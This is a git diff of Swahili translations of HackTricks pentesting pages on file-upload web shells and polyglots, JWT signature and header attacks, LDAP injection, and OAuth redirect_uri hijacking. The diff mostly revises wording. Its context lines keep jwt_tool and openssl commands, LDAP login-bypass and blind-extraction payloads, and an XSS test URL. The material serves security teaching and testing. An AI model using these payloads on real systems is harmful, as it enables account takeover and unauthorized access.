Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
|
||||
1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -290,19 +291,19 @@ pop graphic-context
|
||||
|
||||
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
|
||||
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza kutokea, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
|
||||
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Faili za Polyglot
|
||||
|
||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
|
||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza kuwa halali.
|
||||
|
||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
|
||||
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa pande mbili wa polyglot huenda usitoshe kuhakikisha kupakia kwake.
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
|
||||
|
||||
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## Marejeleo
|
||||
|
||||
@ -313,5 +314,4 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -61,7 +61,7 @@ Tumia nyongeza ya Burp inayoitwa "JSON Web Token" kujaribu udhaifu huu na kubadi
|
||||
Algorithimu HS256 inatumia funguo ya siri kusaini na kuthibitisha kila ujumbe.\
|
||||
Algorithimu RS256 inatumia funguo ya faragha kusaini ujumbe na inatumia funguo ya umma kwa uthibitisho.
|
||||
|
||||
Ikiwa unabadilisha algorithimu kutoka RS256 hadi HS256, msimbo wa nyuma unatumia funguo ya umma kama funguo ya siri na kisha unatumia algorithimu HS256 kuthibitisha saini.
|
||||
Ikiwa unabadilisha algorithimu kutoka RS256 kuwa HS256, msimbo wa nyuma unatumia funguo ya umma kama funguo ya siri na kisha unatumia algorithimu ya HS256 kuthibitisha saini.
|
||||
|
||||
Kisha, kwa kutumia funguo ya umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti ukitekeleza hili:
|
||||
```bash
|
||||
@ -83,8 +83,8 @@ Maelekezo yanaelezea mbinu ya kutathmini usalama wa JWT tokens, hasa zile zinazo
|
||||
- Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.
|
||||
- Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu uchunguzi wa trafiki.
|
||||
- **Kufuatilia Maingiliano ya HTTP**:
|
||||
- Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa inaonyesha juhudi za seva za kupata funguo kutoka kwenye kiungo chako kilichotolewa.
|
||||
- Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
|
||||
- Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa inaonyesha juhudi za seva kupata funguo kutoka kwenye kiungo chako kilichotolewa.
|
||||
- Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kuboresha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
|
||||
- **Amri kwa `jwt_tool`**:
|
||||
|
||||
- Tekeleza amri ifuatayo ili kuiga hali hiyo na `jwt_tool`:
|
||||
@ -103,7 +103,7 @@ Wakati dhamira ya `kid` inapatikana katika kichwa, inashauriwa kutafuta katika d
|
||||
|
||||
#### Kupita Njia kwa "kid"
|
||||
|
||||
Dhamira ya `kid` inaweza pia kutumika vibaya ili kuzunguka kupitia mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt_tool, kama inavyoonyeshwa hapa chini:
|
||||
Dhamira ya `kid` pia inaweza kutumika vibaya ili kuzunguka kupitia mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt_tool, kama inavyoonyeshwa hapa chini:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
@ -136,7 +136,7 @@ openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za faragha zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti halali cha jku unaweza kupakua kile cha asili na kubadilisha parameters zinazohitajika.
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za kibinafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti halali cha jku unaweza kupakua kile original na kubadilisha parameters zinazohitajika.
|
||||
|
||||
Unaweza kupata parameters "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ print("e:", hex(key.e))
|
||||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI inayopointia seti ya vyeti vya umma vya X.509 (kiwango cha muundo wa cheti) vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
|
||||
X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vya umma vilivyokodishwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
|
||||
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia kama ombi lolote linapokelewa. Katika hali hiyo, **unaweza kuingilia JWT**.
|
||||
|
||||
@ -162,7 +162,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na
|
||||
|
||||
.png>)
|
||||
|
||||
Unaweza pia kutumia udhaifu hizi **kwa SSRFs**.
|
||||
Pia unaweza kutumia udhaifu huu **kwa SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
@ -170,7 +170,7 @@ Parameter hii inaweza kuwa na **cheti katika base64**:
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa mshambuliaji **anaunda cheti kilichojisaini mwenyewe** na kuunda token iliyopangwa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa upya na kubadilisha parameters zingine, yaani n, e na x5t basi kimsingi token iliyopangwa itakubaliwa na seva.
|
||||
Ikiwa mshambuliaji **anaunda cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichoundwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
@ -207,7 +207,7 @@ const publicComponents = key.exportKey('components-public');
|
||||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Hatimaye, ukitumia funguo za umma na za kibinafsi na thamani mpya za "n" na "e" unaweza kutumia [jwt.io](https://jwt.io) kuunda JWT mpya halali yenye taarifa yoyote.
|
||||
Hatimaye, ukitumia funguo za umma na za kibinafsi na thamani mpya "n" na "e" unaweza kutumia [jwt.io](https://jwt.io) kuunda JWT mpya halali yenye taarifa yoyote.
|
||||
|
||||
### ES256: Kufichua funguo za kibinafsi kwa nonce sawa
|
||||
|
||||
@ -217,30 +217,33 @@ Hapa kuna mfano: [ECDSA: Kufichua funguo za kibinafsi, ikiwa nonce sawa inatumik
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Dai la JTI (JWT ID) linatoa kitambulisho cha kipekee kwa JWT Token. Inaweza kutumika kuzuia token isirudishwe.\
|
||||
Dai la JTI (JWT ID) linatoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token isirudishwe.\
|
||||
Hata hivyo, fikiria hali ambapo urefu wa juu wa ID ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia ID sawa. Hivyo ikiwa backend inaongeza ID kwa kila ombi unaweza kutumia hii **kurudisha ombi** (ukihitaji kutuma ombi 10000 kati ya kila kurudisha kwa mafanikio).
|
||||
|
||||
### JWT Registered claims
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Mashambulizi Mengine
|
||||
|
||||
**Mashambulizi ya Relay ya Huduma Mbalimbali**
|
||||
|
||||
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kuunda na kusimamia token zao. Matukio yameandikwa ambapo token, iliyoundwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurudisha token iliyopatikana katika ombi kwa lengo kuona ikiwa inakubaliwa.
|
||||
Imeshuhudiwa kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kuunda na kusimamia token zao. Matukio yameandikwa ambapo token, iliyoundwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurudisha token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
|
||||
|
||||
- Tatizo muhimu linaweza kuashiriwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
|
||||
- Tatizo muhimu linaweza kuashiriwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la kijivu kisheria.
|
||||
|
||||
**Ukaguzi wa Kuisha kwa Token**
|
||||
|
||||
Kuisha kwa token kunakaguliwa kwa kutumia dai la "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila taarifa za kikao, usimamizi wa makini unahitajika. Katika matukio mengi, kukamata na kurudisha JWT ya mtumiaji mwingine kunaweza kuwezesha kujifanya kuwa mtumiaji huyo. JWT RFC inapendekeza kupunguza mashambulizi ya kurudisha JWT kwa kutumia dai la "exp" kuweka muda wa kuisha kwa token. Zaidi ya hayo, utekelezaji wa ukaguzi husika na programu ili kuhakikisha usindikaji wa thamani hii na kukataa token zilizokwisha muda ni muhimu. Ikiwa token ina dai la "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi token na kuirudisha baada ya muda wa kuisha kupita kunashauriwa. Maudhui ya token, ikiwa ni pamoja na uchambuzi wa alama ya muda na ukaguzi wa kuisha (alama ya muda katika UTC), yanaweza kusomwa kwa kutumia lipp_tool's -R flag.
|
||||
Kuisha kwa token kunakaguliwa kwa kutumia dai la Payload "exp". Kwa kuwa JWT mara nyingi hutumiwa bila taarifa za kikao, usimamizi wa makini unahitajika. Katika matukio mengi, kukamata na kurudisha JWT ya mtumiaji mwingine kunaweza kuwezesha kujifanya kuwa mtumiaji huyo. JWT RFC inapendekeza kupunguza mashambulizi ya kurudisha JWT kwa kutumia dai la "exp" kuweka muda wa kuisha kwa token. Zaidi ya hayo, utekelezaji wa ukaguzi husika na programu ili kuhakikisha usindikaji wa thamani hii na kukataa token zilizokwisha muda ni muhimu. Ikiwa token ina dai la "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi token na kuirudisha baada ya muda wa kuisha kupita kunashauriwa. Maudhui ya token, ikiwa ni pamoja na uchambuzi wa alama ya muda na ukaguzi wa kuisha (alama ya muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt_tool.
|
||||
|
||||
- Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha token, kwani inaweza kuashiria kwamba token haiwezi kamwe kuisha.
|
||||
|
||||
### Zana
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
### **LDAP**
|
||||
@ -15,7 +14,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
@ -57,7 +56,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahashwa.
|
||||
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahifadhiwa.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -181,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Mchakato Maalum wa Blind LDAP Injection (bila "\*")**
|
||||
#### **Special Blind LDAP Injection (bila "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -204,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Zaidi ya Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,27 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa idhini unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya idhini).
|
||||
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa ruhusa unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya ruhusa).
|
||||
|
||||
Fikiria tovuti ya mfano _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
|
||||
Fikiria tovuti ya kufikirika _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
|
||||
|
||||
Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:
|
||||
|
||||
- **resource owner**: Wewe, kama **mtumiaji/kitengo**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii.
|
||||
- **resource server**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `resource owner`, e.g., **https://socialmedia.com**.
|
||||
- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama **https://example.com**.
|
||||
- **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata idhini, e.g., **https://socialmedia.com**.
|
||||
- **resource server**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `resource owner`, mfano, **https://socialmedia.com**.
|
||||
- **client application**: **programu inayotafuta ruhusa** kutoka kwa `resource owner`, kama vile **https://example.com**.
|
||||
- **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata ruhusa, mfano, **https://socialmedia.com**.
|
||||
- **client_id**: Kitambulisho cha umma, cha kipekee kwa programu.
|
||||
- **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya idhini, inayotumika kwa ajili ya kuzalisha `access_tokens`.
|
||||
- **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya ruhusa, inayotumika kwa ajili ya kuzalisha `access_tokens`.
|
||||
- **response_type**: Thamani inayobainisha **aina ya token inayohitajika**, kama `code`.
|
||||
- **scope**: **ngazi ya ufikiaji** ambayo `client application` inahitaji kutoka kwa `resource owner`.
|
||||
- **redirect_uri**: **URL ambayo mtumiaji anarejeshwa baada ya idhini**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
|
||||
- **state**: Kigezo cha **kuhifadhi data wakati wa kuelekea na kurudi kwa mtumiaji kwenye seva ya idhini**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
|
||||
- **grant_type**: Kigezo kinachoashiria **aina ya grant na aina ya token itakayorejeshwa**.
|
||||
- **code**: Kodu ya idhini kutoka kwa `authorization server`, inayotumika pamoja na `client_id` na `client_secret` na `client application` ili kupata `access_token`.
|
||||
- **redirect_uri**: **URL ambayo mtumiaji anarejeshwa baada ya ruhusa**. Hii kwa kawaida inapaswa kuendana na URL ya kuhamasisha iliyosajiliwa awali.
|
||||
- **state**: Kigezo cha **kuhifadhi data wakati wa kuelekea na kurudi kwa mtumiaji kwenye seva ya ruhusa**. Upekee wake ni muhimu kwa ajili ya kutumikia kama **mekanismu ya ulinzi wa CSRF**.
|
||||
- **grant_type**: Kigezo kinachoashiria **aina ya ruhusa na aina ya token itakayorejeshwa**.
|
||||
- **code**: Kodu ya ruhusa kutoka kwa `authorization server`, inayotumika pamoja na `client_id` na `client_secret` na `client application` ili kupata `access_token`.
|
||||
- **access_token**: **token ambayo `client application` inatumia kwa maombi ya API** kwa niaba ya `resource owner`.
|
||||
- **refresh_token**: Inaruhusu programu **kupata `access_token` mpya bila kumlazimisha mtumiaji tena**.
|
||||
|
||||
@ -59,15 +58,15 @@ Host: socialmedia.com
|
||||
|
||||
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile nambari za idhini, zinatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti.
|
||||
|
||||
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitisho wa seva. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa ajili ya wizi wa token.
|
||||
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji wa seva. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
|
||||
|
||||
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva.
|
||||
|
||||
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva.
|
||||
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva.
|
||||
|
||||
### XSS katika utekelezaji wa kuelekeza <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **inaweza kuathiriwa na XSS**. Payload inayowezekana ya kujaribu:
|
||||
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **vulnerable to XSS**. Payload inayowezekana kujaribu:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
